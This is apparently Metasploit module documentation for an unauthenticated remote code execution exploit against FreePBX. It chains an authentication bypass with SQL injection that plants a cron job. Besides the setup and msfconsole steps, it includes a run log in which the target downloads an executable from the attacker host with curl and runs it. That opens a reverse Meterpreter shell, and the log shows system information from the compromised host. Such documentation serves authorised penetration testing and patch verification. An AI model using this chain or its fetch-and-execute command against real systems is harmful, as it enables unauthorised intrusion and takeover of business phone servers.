## Vulnerable Application

FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use
VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,
while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an
authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it
allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module
exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an
unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into the
cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the operating system

To setup the environment, perform minimal installation from [here](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso).
Note that **Authorization Type** needs to be set to **webserver**:

1. Login into FreePBX Administration
1. Settings -> Advanced Settings
1. Change **Authorization Type** to **webserver**

Finally, the FreePBX needs to be activated to access vulnerable APIs:

1. Log into FreePBX Administraton
1. Admin -> System Admin
1. Activate instance

## Verification Steps

1. Install FreePBX
1. Start msfconsole
1. Do: `use exploit/unix/http/freepbx_custom_extension_rce`
1. Do: `set RHOSTS [target IP address]`
1. Do: `set USERNAME [FreePBX user]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`
1. You should get a shell.

## Options

### USERNAME

Performing authentication bypass requires the username of an existing user.

## Scenarios

```
msf exploit(unix/http/freepbx_custom_extension_rce) > set rhosts 192.168.168.223
rhosts => 192.168.168.223
smsf exploit(unix/http/freepbx_custom_extension_rce) > set lhost ens39
lhost => ens39
msf exploit(unix/http/freepbx_custom_extension_rce) > set lport 4477
lport => 4477
msf exploit(unix/http/freepbx_custom_extension_rce) > run verbose=true 
[*] Command to run on remote host: curl -so ./anYbkMUNb http://192.168.168.128:8080/_OToTDMfcK8wHNiGY3kcWw;chmod +x ./anYbkMUNb;./anYbkMUNb&
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /_OToTDMfcK8wHNiGY3kcWw
[*] Started reverse TCP handler on 192.168.168.128:4477 
[+] Created cronjob with job name: 'yRJu'
[*] Waiting for cronjob to trigger...
[*] Client 192.168.168.223 requested /_OToTDMfcK8wHNiGY3kcWw
[*] Sending payload to 192.168.168.223 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.223
[*] Meterpreter session 1 opened (192.168.168.128:4477 -> 192.168.168.223:53254) at 2026-01-06 15:14:05 +0100
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!

meterpreter > sysinfo 
Computer     : freepbx.sangoma.local
OS           : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: asterisk
```

